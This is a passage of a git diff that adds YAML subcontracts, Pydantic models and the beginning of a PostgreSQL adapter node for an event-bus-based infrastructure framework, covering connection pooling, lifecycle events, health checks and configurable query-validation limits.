"NodeServiceLifecycle" + description: "Standardized service lifecycle management for ONEX infrastructure nodes" + + # Service initialization patterns + initialization_patterns: + startup_sequence: + - step: "container_injection" + description: "Inject ONEXContainer with dependencies" + required: true + timeout_ms: 1000 + + - step: "event_bus_connection" + description: "Connect to ONEX event bus for service coordination" + required: true + timeout_ms: 2000 + + - step: "metadata_loader_initialization" + description: "Initialize schema and metadata loading capabilities" + required: true + timeout_ms: 500 + + - step: "service_registration" + description: "Register service with ONEX service registry" + required: true + timeout_ms: 1000 + + - step: "health_check_initialization" + description: "Initialize service health monitoring" + required: false + timeout_ms: 500 + + dependency_injection: + - service: "ProtocolEventBus" + purpose: "Event bus integration for service coordination" + required: true + fallback: "emit_initialization_error" + + - service: "ProtocolSchemaLoader" + purpose: "Schema and metadata loading for service operations" + required: true + fallback: "use_default_schema_loader" + + - service: "ProtocolServiceRegistry" + purpose: "Service registration and discovery" + required: false + fallback: "skip_service_registration" + + # Service shutdown patterns + shutdown_patterns: + graceful_shutdown: + - step: "stop_accepting_requests" + description: "Stop accepting new service requests" + timeout_ms: 100 + + - step: "complete_active_operations" + description: "Allow active operations to complete" + timeout_ms: 5000 + + - step: "disconnect_event_bus" + description: "Gracefully disconnect from event bus" + timeout_ms: 1000 + + - step: "cleanup_resources" + description: "Clean up service-specific resources" + timeout_ms: 2000 + + - step: "service_deregistration" + description: "Deregister from service registry" + timeout_ms: 500 + + forced_shutdown: + - step: "immediate_resource_cleanup" + description: "Immediately clean up critical resources" + timeout_ms: 500 + + - step: "emergency_deregistration" + description: "Emergency service deregistration" + timeout_ms: 100 + +# Event Bus Integration +event_bus_integration: + service_coordination: + heartbeat_events: + event_type: "service_heartbeat" + frequency_seconds: 30 + payload_fields: ["service_id", "status", "timestamp", "health_status"] + + lifecycle_events: + service_started: + event_type: "service_lifecycle_started" + payload: ["service_id", "node_type", "domain", "capabilities"] + + service_stopping: + event_type: "service_lifecycle_stopping" + payload: ["service_id", "shutdown_reason", "estimated_shutdown_time"] + + service_stopped: + event_type: "service_lifecycle_stopped" + payload: ["service_id", "final_status", "shutdown_duration_ms"] + + event_handling: + subscriptions: + - event_pattern: "service_discovery_request" + handler: "handle_service_discovery" + response_required: true + + - event_pattern: "service_health_inquiry" + handler: "handle_health_inquiry" + response_required: true + + - event_pattern: "service_shutdown_request" + handler: "handle_shutdown_request" + response_required: false + +# Service Registry Integration +service_registry: + registration_strategy: + registration_data: + - field: "service_id" + source: "node_id_from_contract" + required: true + + - field: "service_type" + source: "node_type_property" + required: true + + - field: "domain" + source: "domain_property" + required: true + + - field: "capabilities" + source: "service_capabilities_method" + required: false + + - field: "health_endpoint" + source: "health_check_url" + required: false + + registration_timing: + register_on_startup: true + deregister_on_shutdown: true + reregister_on_failure: true + + discovery_patterns: + service_advertising: + advertise_capabilities: true + advertise_health_status: true + advertise_load_metrics: false + +# Health Monitoring Integration +health_monitoring: + health_check_integration: + delegate_to_mixin: true + mixin_class: "MixinHealthCheck" + health_check_frequency: 30000 # milliseconds + + monitoring_metrics: + service_metrics: + - "service.uptime_seconds" + - "service.request_count" + - "service.error_rate" + - "service.response_time_ms" + + integration_metrics: + - "service.event_bus_connectivity" + - "service.registry_connectivity" + - "service.dependency_health" + +# Error Handling and Recovery +error_handling: + initialization_errors: + container_injection_failed: + action: "fail_startup_with_error" + retry: false + + event_bus_connection_failed: + action: "retry_with_backoff" + max_retries: 3 + backoff_strategy: "exponential" + + service_registration_failed: + action: "log_warning_continue_startup" + retry: true + max_retries: 2 + + runtime_errors: + event_bus_disconnection: + action: "attempt_reconnection" + max_attempts: 5 + escalate_after: "emit_service_degraded_event" + + dependency_unavailable: + action: "mark_service_degraded" + fallback_behavior: "limited_functionality_mode" + +# Performance Optimization +performance_optimization: + service_startup: + parallel_initialization: true + lazy_dependency_loading: true + connection_pooling: true + + runtime_efficiency: + event_batching: true + connection_reuse: true + metric_aggregation: true + +# Code Generation Targets +generation_targets: + mixin_integration: + service_lifecycle_hooks: true + event_bus_handlers: true + registry_integration: true + health_monitoring_integration: true + + dependency_injection: + container_integration: true + service_resolution: true + protocol_enforcement: true + +# Integration with Main Contract +integration: + main_contract_field: "service_lifecycle_configuration" + mapping_strategy: "mixin_embedding" + backward_compatibility: true \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_connection_management_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_connection_management_subcontract.yaml new file mode 100644 index 0000000000..24ede9574e --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_connection_management_subcontract.yaml @@ -0,0 +1,256 @@ +# PostgreSQL Connection Management Subcontract - Connection Pool Integration Pattern +# This subcontract defines connection pooling and database management patterns for PostgreSQL adapter + +contract_type: "postgres_connection_management_subcontract" +contract_version: + major: 1 + minor: 0 + patch: 0 + +metadata: + name: "PostgresConnectionManagementSubcontract" + description: "Connection pool management and database operations integration pattern" + author: "ONEX Framework Team" + created: "2025-09-11" + purpose: "Define consistent connection management and database operation patterns" + +business_logic: + pattern: "connection_management" + ai_agent: + capabilities: ["connection_pooling", "transaction_management", "health_monitoring"] + coordination_patterns: ["pool_management", "connection_lifecycle"] + performance_targets: + connection_acquisition_latency: "<50ms" + query_execution_latency: "<100ms" + pool_efficiency: ">90%" + +# Connection Management Strategy +connection_strategy: + name: "PostgresConnectionStrategy" + description: "Enterprise-grade PostgreSQL connection management with pooling and monitoring" + + # Connection pool configuration + pool_configuration: + connection_pool_settings: + min_connections: 5 + max_connections: 50 + connection_timeout: "10s" + idle_timeout: "300s" + max_connection_lifetime: "3600s" + + pool_health_monitoring: + health_check_interval: "30s" + connection_validation_query: "SELECT 1" + failed_connection_threshold: 3 + pool_recovery_strategy: "gradual_replenishment" + + # Transaction management patterns + transaction_patterns: + isolation_levels: + - "read_uncommitted" + - "read_committed" # default + - "repeatable_read" + - "serializable" + + transaction_strategies: + short_transactions: + max_duration: "30s" + retry_attempts: 3 + rollback_on_timeout: true + + long_transactions: + max_duration: "300s" + retry_attempts: 1 + rollback_on_timeout: true + monitoring_enabled: true + + batch_transactions: + batch_size: 100 + commit_interval: "10s" + rollback_on_partial_failure: true + +# Database Operation Patterns +operation_patterns: + query_execution: + read_operations: + - pattern: "single_row_fetch" + timeout: "5s" + caching_enabled: false + + - pattern: "bulk_data_fetch" + timeout: "30s" + streaming_enabled: true + batch_size: 1000 + + write_operations: + - pattern: "single_insert" + timeout: "10s" + return_generated_keys: true + + - pattern: "bulk_insert" + timeout: "60s" + batch_size: 500 + transaction_required: true + + - pattern: "update_operations" + timeout: "30s" + optimistic_locking: true + affected_rows_validation: true + + # Prepared statement management + prepared_statements: + caching_strategy: "lru_cache" + max_cached_statements: 100 + statement_timeout: "300s" + auto_prepare_threshold: 5 + +# Connection Lifecycle Management +lifecycle_management: + connection_acquisition: + acquisition_strategy: "fair_queuing" + max_wait_time: "30s" + connection_validation: true + + connection_release: + cleanup_strategy: "automatic" + resource_validation: true + connection_reset: true + + connection_monitoring: + active_connection_tracking: true + idle_connection_cleanup: true + connection_leak_detection: true + +# Health Check Integration +health_integration: + database_health: + connectivity_check: + query: "SELECT version()" + timeout: "5s" + frequency: "60s" + + performance_check: + slow_query_threshold: "1s" + connection_pool_utilization_threshold: "80%" + active_connection_limit: "90%" + + health_status_reporting: + status_levels: + - "healthy": "all_checks_passing" + - "degraded": "some_checks_failing" + - "unhealthy": "critical_checks_failing" + + health_metrics: + - "connection_pool_size" + - "active_connections" + - "idle_connections" + - "failed_connection_attempts" + - "average_query_time" + +# Error Handling and Recovery +error_handling: + connection_errors: + network_failures: + retry_strategy: "exponential_backoff" + max_retries: 3 + backoff_multiplier: 2 + recovery_action: "connection_pool_refresh" + + authentication_failures: + retry_strategy: "none" + alert_strategy: "immediate_security_alert" + recovery_action: "credential_validation" + + resource_exhaustion: + detection: "connection_pool_monitoring" + mitigation: "connection_pool_expansion" + fallback: "graceful_degradation" + + transaction_errors: + deadlock_handling: + detection: "database_error_code_analysis" + retry_strategy: "random_delay_retry" + max_retries: 3 + + constraint_violations: + handling: "immediate_rollback" + reporting: "detailed_error_response" + recovery: "data_validation_enhancement" + +# Performance Optimization +performance_optimization: + query_optimization: + query_plan_caching: true + parameter_binding: true + batch_execution: true + + connection_optimization: + connection_warm_up: true + connection_preallocation: true + connection_affinity: true + + monitoring_optimization: + metrics_aggregation: true + performance_baseline_tracking: true + auto_scaling_triggers: true + +# Schema and Migration Management +schema_management: + schema_validation: + startup_validation: true + runtime_validation: false + migration_tracking: true + + version_compatibility: + minimum_postgres_version: "12.0" + feature_detection: true + backward_compatibility_checks: true + +# Security Integration +security_integration: + connection_security: + ssl_enforcement: true + certificate_validation: true + connection_encryption: "required" + + access_control: + schema_level_permissions: true + query_permission_validation: true + audit_logging: true + +# Observability +observability: + metrics: + - "postgres.connection_pool_size" + - "postgres.active_connections" + - "postgres.connection_acquisition_time" + - "postgres.query_execution_time" + - "postgres.transaction_duration" + - "postgres.connection_errors" + + events: + - "connection_acquired" + - "connection_released" + - "transaction_started" + - "transaction_committed" + - "transaction_rolled_back" + - "connection_pool_exhausted" + +# Code Generation +generation_targets: + python_runtime: + connection_managers: true + pool_monitors: true + transaction_handlers: true + health_checkers: true + + configuration_templates: + connection_pool_config: true + security_settings: true + monitoring_config: true + +# Integration with Main Contract +integration: + main_contract_field: "connection_management_configuration" + mapping_strategy: "dependency_injection" + backward_compatibility: true \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_event_processing_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_event_processing_subcontract.yaml new file mode 100644 index 0000000000..3f1296ac0e --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/postgres_event_processing_subcontract.yaml @@ -0,0 +1,249 @@ +# PostgreSQL Event Processing Subcontract - Event Bus Integration Pattern +# This subcontract defines event handling patterns for PostgreSQL adapter integration with ONEX event bus + +contract_type: "postgres_event_processing_subcontract" +contract_version: + major: 1 + minor: 0 + patch: 0 + +metadata: + name: "PostgresEventProcessingSubcontract" + description: "Event bus integration pattern for PostgreSQL adapter with ONEX message envelope handling" + author: "ONEX Framework Team" + created: "2025-09-11" + purpose: "Define event processing patterns for bi-directional PostgreSQL-ONEX event communication" + +business_logic: + pattern: "event_bus_integration" + ai_agent: + capabilities: ["event_envelope_processing", "postgres_event_translation", "async_event_handling"] + coordination_patterns: ["event_bus_subscriber", "event_bus_publisher"] + performance_targets: + event_processing_latency: "<10ms" + event_throughput: "1000 events/sec" + envelope_parsing_time: "<1ms" + +# Event Bus Integration Strategy +event_bus_integration: + name: "PostgresEventBusIntegration" + description: "Bi-directional event processing between ONEX event bus and PostgreSQL operations" + + # Event subscription patterns + subscription_patterns: + inbound_events: + - event_type: "postgres_query_request" + handler: "handle_query_event" + envelope_validation: true + async_processing: true + + - event_type: "postgres_transaction_request" + handler: "handle_transaction_event" + envelope_validation: true + async_processing: true + + - event_type: "postgres_health_check_request" + handler: "handle_health_check_event" + envelope_validation: true + async_processing: false + + - event_type: "postgres_connection_management_request" + handler: "handle_connection_event" + envelope_validation: true + async_processing: true + + # Event publishing patterns + publishing_patterns: + outbound_events: + - event_type: "postgres_query_completed" + trigger: "query_execution_complete" + envelope_format: "standard_onex_envelope" + metadata_inclusion: ["query_hash", "execution_time", "rows_affected", "timestamp"] + + - event_type: "postgres_transaction_completed" + trigger: "transaction_success" + envelope_format: "standard_onex_envelope" + metadata_inclusion: ["transaction_id", "isolation_level", "timestamp"] + + - event_type: "postgres_health_status_changed" + trigger: "health_check_result" + envelope_format: "standard_onex_envelope" + metadata_inclusion: ["connection_pool_status", "database_status", "timestamp"] + + - event_type: "postgres_operation_failed" + trigger: "operation_error" + envelope_format: "error_onex_envelope" + metadata_inclusion: ["operation_type", "error_code", "error_message", "timestamp"] + +# Event Envelope Handling +envelope_processing: + inbound_envelope_handling: + validation_steps: + - "validate_envelope_structure" + - "verify_message_signature" + - "check_correlation_id" + - "validate_payload_schema" + + parsing_steps: + - "extract_operation_type" + - "parse_postgres_parameters" + - "resolve_connection_pool" + - "prepare_database_operation" + + error_handling: + - "malformed_envelope": "reject_with_error_response" + - "invalid_signature": "reject_with_security_alert" + - "schema_validation_failed": "reject_with_validation_error" + - "missing_correlation_id": "assign_new_correlation_id" + + outbound_envelope_creation: + envelope_structure: + - "correlation_id": "preserve_from_inbound_or_generate" + - "source_service": "postgres_adapter" + - "target_service": "extracted_from_routing_info" + - "event_type": "determined_by_operation_result" + - "payload": "postgres_operation_result_or_error" + - "metadata": "operation_context_and_timing" + + signing_strategy: + - "sign_envelope_with_service_key" + - "include_timestamp_for_replay_protection" + - "add_service_identity_claims" + +# Async Processing Patterns +async_processing: + async_handlers: + query_operations: + pattern: "request_response_async" + timeout_ms: 5000 + retry_attempts: 3 + error_strategy: "emit_failure_event" + + transaction_operations: + pattern: "fire_and_forget_with_callback" + timeout_ms: 10000 + retry_attempts: 2 + error_strategy: "emit_failure_event_with_rollback" + + connection_management: + pattern: "async_with_circuit_breaker" + timeout_ms: 3000 + retry_attempts: 3 + error_strategy: "emit_connection_failure_alert" + + # Synchronous processing for health checks + sync_processing: + health_checks: + pattern: "immediate_response" + timeout_ms: 1000 + retry_attempts: 0 + error_strategy: "return_error_status" + +# Event Routing and Filtering +event_routing: + routing_strategy: "content_based_routing" + + routing_rules: + - condition: "event_type.startswith('postgres_query_')" + target_handler: "query_management_handler" + priority: "high" + + - condition: "event_type.startswith('postgres_transaction_')" + target_handler: "transaction_management_handler" + priority: "critical" + + - condition: "event_type.startswith('postgres_health_')" + target_handler: "health_management_handler" + priority: "medium" + + - condition: "event_type.startswith('postgres_connection_')" + target_handler: "connection_management_handler" + priority: "high" + + filtering_rules: + - filter: "validate_database_permissions" + action: "reject_if_unauthorized_schema" + + - filter: "check_connection_pool_limits" + action: "defer_if_pool_exhausted" + + - filter: "validate_query_safety" + action: "reject_if_dangerous_operation" + +# Error Handling and Recovery +error_handling: + error_categories: + - "envelope_processing_errors" + - "database_connection_errors" + - "query_execution_errors" + - "transaction_errors" + - "timeout_errors" + + recovery_strategies: + envelope_processing_errors: + - "emit_validation_error_event" + - "log_malformed_envelope_details" + - "increment_error_metrics" + + database_connection_errors: + - "retry_with_exponential_backoff" + - "emit_database_error_event" + - "trigger_connection_pool_refresh" + + query_execution_errors: + - "rollback_if_in_transaction" + - "emit_query_error_event" + - "release_connection_resources" + +# Performance Optimization +performance_optimization: + event_batching: + enabled: true + batch_size: 25 + batch_timeout_ms: 50 + applicable_operations: ["query_operations", "health_checks"] + + connection_pooling: + postgres_connections: 10 + connection_reuse: true + keepalive_interval: 30000 + + caching: + event_handler_cache: true + query_plan_cache: true + envelope_validation_cache: true + +# Observability and Monitoring +observability: + metrics: + - "postgres.events_processed" + - "postgres.events_published" + - "postgres.envelope_validation_failures" + - "postgres.async_processing_latency" + - "postgres.database_error_rate" + + events_for_monitoring: + - "event_processing_started" + - "event_processing_completed" + - "envelope_validation_failed" + - "database_error_occurred" + - "async_timeout_exceeded" + +# Code Generation Targets +generation_targets: + python_runtime: + event_handlers: true + envelope_processors: true + async_task_managers: true + error_recovery_logic: true + + database_schema_validation: + query_validation_rules: true + transaction_safety_checks: true + envelope_validation_rules: true + +# Integration with Main Contract +integration: + main_contract_field: "event_processing_configuration" + mapping_strategy: "event_handler_embedding" + backward_compatibility: true \ No newline at end of file diff --git a/src/omnibase_infra/tools/__init__.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/enums/__init__.py similarity index 100% rename from src/omnibase_infra/tools/__init__.py rename to src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/enums/__init__.py diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/enums/enum_postgres_operation_type.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/enums/enum_postgres_operation_type.py new file mode 100644 index 0000000000..dd91e64e6f --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/enums/enum_postgres_operation_type.py @@ -0,0 +1,11 @@ +"""PostgreSQL operation type enumeration.""" + +from enum import Enum + + +class EnumPostgresOperationType(str, Enum): + """PostgreSQL operation type enumeration.""" + + QUERY = "query" + HEALTH_CHECK = "health_check" + CONNECTION_TEST = "connection_test" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/__init__.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/__init__.py new file mode 100644 index 0000000000..35d42c4d7c --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/__init__.py @@ -0,0 +1 @@ +"""PostgreSQL adapter tool models.""" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_config.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_config.py new file mode 100644 index 0000000000..a322cb9951 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_config.py @@ -0,0 +1,244 @@ +"""PostgreSQL Adapter Configuration Model.""" + +import os +import logging +from typing import Optional +from pydantic import BaseModel, Field, validator + +from omnibase_core.core.core_error_codes import CoreErrorCode +from omnibase_core.core.errors.onex_error import OnexError + + +class ModelPostgresAdapterConfig(BaseModel): + """ + Configuration model for PostgreSQL adapter validation limits and security settings. + + Supports environment-based configuration for different deployment environments. + """ + + # Query validation limits + max_query_size: int = Field( + default=50000, + description="Maximum query size in characters (50KB default)", + ge=1000, # At least 1KB + le=1000000, # At most 1MB + ) + + max_parameter_count: int = Field( + default=100, + description="Maximum number of parameters per query", + ge=1, + le=1000, + ) + + max_parameter_size: int = Field( + default=10000, + description="Maximum size per parameter in characters (10KB default)", + ge=100, # At least 100 bytes + le=100000, # At most 100KB + ) + + max_timeout_seconds: int = Field( + default=300, + description="Maximum query timeout in seconds (5 minutes default)", + ge=1, + le=3600, # Maximum 1 hour + ) + + max_complexity_score: int = Field( + default=20, + description="Maximum query complexity score threshold", + ge=5, # Minimum complexity limit + le=100, # Maximum complexity limit + ) + + # Performance settings + enable_query_complexity_validation: bool = Field( + default=True, + description="Whether to enable query complexity validation", + ) + + enable_sql_injection_detection: bool = Field( + default=True, + description="Whether to enable SQL injection pattern detection", + ) + + enable_error_sanitization: bool = Field( + default=True, + description="Whether to enable error message sanitization", + ) + + # Environment-specific settings + environment: str = Field( + default="development", + description="Deployment environment (development, staging, production)", + ) + + @validator('environment') + def validate_environment(cls, v): + """Validate environment is a known value.""" + allowed_environments = {'development', 'staging', 'production'} + if v not in allowed_environments: + raise ValueError(f"Environment must be one of: {', '.join(allowed_environments)}") + return v + + def validate_security_config(self) -> None: + """ + Validate security configuration for production environments. + + Raises: + OnexError: If production security requirements are not met + """ + if self.environment == "production": + if not self.enable_error_sanitization: + raise OnexError( + code=CoreErrorCode.CONFIGURATION_ERROR, + message="Error sanitization must be enabled in production environment" + ) + + if not self.enable_sql_injection_detection: + raise OnexError( + code=CoreErrorCode.CONFIGURATION_ERROR, + message="SQL injection detection must be enabled in production environment" + ) + + # Production should have stricter limits + if self.max_query_size > 50000: + logging.warning("Large query size limit in production may impact performance") + + if self.max_complexity_score > 20: + logging.warning("High complexity score threshold in production may allow expensive queries") + + @classmethod + def from_environment(cls, secure_mode: bool = True) -> "ModelPostgresAdapterConfig": + """ + Create configuration from environment variables with security considerations. + + Args: + secure_mode: If True, avoids logging configuration values that might contain sensitive data + + Environment variable mapping: + - POSTGRES_ADAPTER_MAX_QUERY_SIZE + - POSTGRES_ADAPTER_MAX_PARAMETER_COUNT + - POSTGRES_ADAPTER_MAX_PARAMETER_SIZE + - POSTGRES_ADAPTER_MAX_TIMEOUT_SECONDS + - POSTGRES_ADAPTER_MAX_COMPLEXITY_SCORE + - POSTGRES_ADAPTER_ENABLE_COMPLEXITY_VALIDATION + - POSTGRES_ADAPTER_ENABLE_INJECTION_DETECTION + - POSTGRES_ADAPTER_ENABLE_ERROR_SANITIZATION + - POSTGRES_ADAPTER_ENVIRONMENT + + Returns: + Configured ModelPostgresAdapterConfig instance + """ + def safe_int_env(key: str, default: str, secure_mode: bool = secure_mode) -> int: + """Safely get integer from environment with optional logging suppression.""" + value = os.getenv(key, default) + try: + result = int(value) + if not secure_mode: + logging.debug(f"Loaded {key}={result}") + return result + except ValueError: + if not secure_mode: + logging.warning(f"Invalid {key} value '{value}', using default {default}") + return int(default) + + def safe_bool_env(key: str, default: str, secure_mode: bool = secure_mode) -> bool: + """Safely get boolean from environment with optional logging suppression.""" + value = os.getenv(key, default).lower() + result = value == "true" + if not secure_mode: + logging.debug(f"Loaded {key}={result}") + return result + + environment = os.getenv("POSTGRES_ADAPTER_ENVIRONMENT", "development") + + try: + config = cls( + max_query_size=safe_int_env("POSTGRES_ADAPTER_MAX_QUERY_SIZE", "50000"), + max_parameter_count=safe_int_env("POSTGRES_ADAPTER_MAX_PARAMETER_COUNT", "100"), + max_parameter_size=safe_int_env("POSTGRES_ADAPTER_MAX_PARAMETER_SIZE", "10000"), + max_timeout_seconds=safe_int_env("POSTGRES_ADAPTER_MAX_TIMEOUT_SECONDS", "300"), + max_complexity_score=safe_int_env("POSTGRES_ADAPTER_MAX_COMPLEXITY_SCORE", "20"), + enable_query_complexity_validation=safe_bool_env("POSTGRES_ADAPTER_ENABLE_COMPLEXITY_VALIDATION", "true"), + enable_sql_injection_detection=safe_bool_env("POSTGRES_ADAPTER_ENABLE_INJECTION_DETECTION", "true"), + enable_error_sanitization=safe_bool_env("POSTGRES_ADAPTER_ENABLE_ERROR_SANITIZATION", "true"), + environment=environment, + ) + + # Validate security settings + config.validate_security_config() + + if not secure_mode: + logging.info(f"PostgreSQL adapter configuration loaded for environment: {environment}") + + return config + + except Exception as e: + raise OnexError( + code=CoreErrorCode.CONFIGURATION_ERROR, + message=f"Failed to load PostgreSQL adapter configuration: {str(e)}" + ) from e + + @classmethod + def for_environment(cls, environment: str) -> "ModelPostgresAdapterConfig": + """ + Create environment-specific configuration with appropriate defaults. + + Args: + environment: Target environment (development, staging, production) + + Returns: + Environment-optimized configuration + """ + base_config = cls.from_environment() + base_config.environment = environment + + if environment == "production": + # Production: More restrictive limits + base_config.max_query_size = min(base_config.max_query_size, 25000) # 25KB max + base_config.max_parameter_count = min(base_config.max_parameter_count, 50) + base_config.max_parameter_size = min(base_config.max_parameter_size, 5000) # 5KB max + base_config.max_timeout_seconds = min(base_config.max_timeout_seconds, 180) # 3 minutes max + base_config.max_complexity_score = min(base_config.max_complexity_score, 15) + + elif environment == "development": + # Development: More permissive limits for testing + base_config.max_query_size = 100000 # 100KB max + base_config.max_parameter_count = 200 + base_config.max_parameter_size = 20000 # 20KB max + base_config.max_timeout_seconds = 600 # 10 minutes max + base_config.max_complexity_score = 30 + + return base_config + + def get_complexity_weights(self) -> dict: + """ + Get complexity scoring weights based on environment. + + Returns: + Dictionary of operation types to complexity weights + """ + if self.environment == "production": + # More conservative weights in production + return { + "join": 3, + "subquery": 4, + "union": 5, + "leading_wildcard": 6, + "regex": 12, + "expensive_function": 4, + "order_without_limit": 3, + } + else: + # Standard weights for development/staging + return { + "join": 2, + "subquery": 3, + "union": 4, + "leading_wildcard": 5, + "regex": 10, + "expensive_function": 3, + "order_without_limit": 2, + } \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_input.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_input.py new file mode 100644 index 0000000000..039e76227c --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_input.py @@ -0,0 +1,33 @@ +"""PostgreSQL adapter input envelope model.""" + +from typing import Optional +from uuid import UUID + +from pydantic import BaseModel, Field + +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest +from omnibase_infra.models.postgres.model_postgres_health_request import ModelPostgresHealthRequest +from omnibase_infra.models.postgres.model_postgres_context import ModelPostgresContext +from ..enums.enum_postgres_operation_type import EnumPostgresOperationType + + +class ModelPostgresAdapterInput(BaseModel): + """Input envelope for PostgreSQL adapter operations.""" + + operation_type: EnumPostgresOperationType = Field(description="Type of operation") + + query_request: Optional[ModelPostgresQueryRequest] = Field( + default=None, description="Query request payload (when operation_type is 'query')" + ) + + health_request: Optional[ModelPostgresHealthRequest] = Field( + default=None, description="Health check request payload (when operation_type is 'health_check')" + ) + + correlation_id: UUID = Field(description="Request correlation ID for tracing") + + timestamp: float = Field(description="Request timestamp as Unix timestamp", ge=0) + + context: Optional[ModelPostgresContext] = Field( + default=None, description="Additional request context" + ) \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_output.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_output.py new file mode 100644 index 0000000000..6073665b7f --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/models/model_postgres_adapter_output.py @@ -0,0 +1,42 @@ +"""PostgreSQL adapter output envelope model.""" + +from typing import Optional +from uuid import UUID + +from pydantic import BaseModel, Field + +from omnibase_infra.models.postgres.model_postgres_query_response import ModelPostgresQueryResponse +from omnibase_infra.models.postgres.model_postgres_health_response import ModelPostgresHealthResponse +from omnibase_infra.models.postgres.model_postgres_context import ModelPostgresContext +from omnibase_infra.models.postgres.model_postgres_error import ModelPostgresError +from ..enums.enum_postgres_operation_type import EnumPostgresOperationType + + +class ModelPostgresAdapterOutput(BaseModel): + """Output envelope for PostgreSQL adapter operations.""" + + operation_type: EnumPostgresOperationType = Field(description="Type of operation that was executed") + + query_response: Optional[ModelPostgresQueryResponse] = Field( + default=None, description="Query response payload (when operation_type is 'query')" + ) + + health_response: Optional[ModelPostgresHealthResponse] = Field( + default=None, description="Health check response payload (when operation_type is 'health_check')" + ) + + success: bool = Field(description="Whether the operation was successful") + + error_message: Optional[str] = Field( + default=None, description="Error message if operation failed" + ) + + correlation_id: UUID = Field(description="Request correlation ID for tracing") + + timestamp: float = Field(description="Response timestamp as Unix timestamp", ge=0) + + execution_time_ms: float = Field(description="Total operation execution time in milliseconds", ge=0) + + context: Optional[ModelPostgresContext] = Field( + default=None, description="Additional response context" + ) \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/node.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/node.py new file mode 100644 index 0000000000..ad478ddc63 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/node.py @@ -0,0 +1,1239 @@ +"""PostgreSQL Adapter Tool - Message Bus Bridge for Database Operations. + +This adapter serves as a bridge between the ONEX message bus and PostgreSQL database operations. +It converts event envelopes containing database requests into direct PostgreSQL connection manager calls. +Following the ONEX infrastructure tool pattern for external service integration. +""" + +import asyncio +import logging +import os +import re +import threading +import time +from datetime import datetime, timedelta +from enum import Enum +from typing import Dict, List, Optional, Callable, Union, Pattern +from uuid import UUID, uuid4 + +from omnibase_core.core.core_error_codes import CoreErrorCode +from omnibase_core.core.errors.onex_error import OnexError +from omnibase_core.core.node_effect_service import NodeEffectService +from omnibase_core.core.onex_container import ModelONEXContainer +from omnibase_core.enums.enum_health_status import EnumHealthStatus +from omnibase_core.model.core.model_health_status import ModelHealthStatus + +from omnibase_infra.infrastructure.postgres_connection_manager import PostgresConnectionManager +from omnibase_infra.models.postgres.model_postgres_query_request import ModelPostgresQueryRequest +from omnibase_infra.models.postgres.model_postgres_query_response import ModelPostgresQueryResponse +from omnibase_infra.models.postgres.model_postgres_query_result import ModelPostgresQueryResult, ModelPostgresQueryRow +from omnibase_infra.models.postgres.model_postgres_error import ModelPostgresError +from .models.model_postgres_adapter_input import ModelPostgresAdapterInput +from .models.model_postgres_adapter_output import ModelPostgresAdapterOutput +from .models.model_postgres_adapter_config import ModelPostgresAdapterConfig + + +class PostgresStructuredLogger: + """ + Structured logger for PostgreSQL adapter operations with correlation ID tracking. + + Provides consistent, structured logging across all database operations with: + - Correlation ID tracking for request tracing + - Performance metrics logging + - Error context preservation + - Security-aware message sanitization + """ + + def __init__(self, logger_name: str = "postgres_adapter"): + """Initialize structured logger with correlation ID support.""" + self.logger = logging.getLogger(logger_name) + if not self.logger.handlers: + # Configure structured logging format if not already configured + handler = logging.StreamHandler() + formatter = logging.Formatter( + '%(asctime)s - %(name)s - %(levelname)s - %(correlation_id)s - %(operation)s - %(message)s' + ) + handler.setFormatter(formatter) + self.logger.addHandler(handler) + self.logger.setLevel(logging.INFO) + + def _build_extra(self, correlation_id: Optional[UUID], operation: str, **kwargs) -> dict: + """Build extra fields for structured logging.""" + extra = { + 'correlation_id': str(correlation_id) if correlation_id else 'no-correlation', + 'operation': operation, + 'component': 'postgres_adapter', + 'node_type': 'effect', + } + extra.update(kwargs) + return extra + + def info(self, message: str, correlation_id: Optional[UUID] = None, operation: str = "general", **kwargs): + """Log info level message with structured fields.""" + extra = self._build_extra(correlation_id, operation, **kwargs) + self.logger.info(message, extra=extra) + + def warning(self, message: str, correlation_id: Optional[UUID] = None, operation: str = "general", **kwargs): + """Log warning level message with structured fields.""" + extra = self._build_extra(correlation_id, operation, **kwargs) + self.logger.warning(message, extra=extra) + + def error(self, message: str, correlation_id: Optional[UUID] = None, 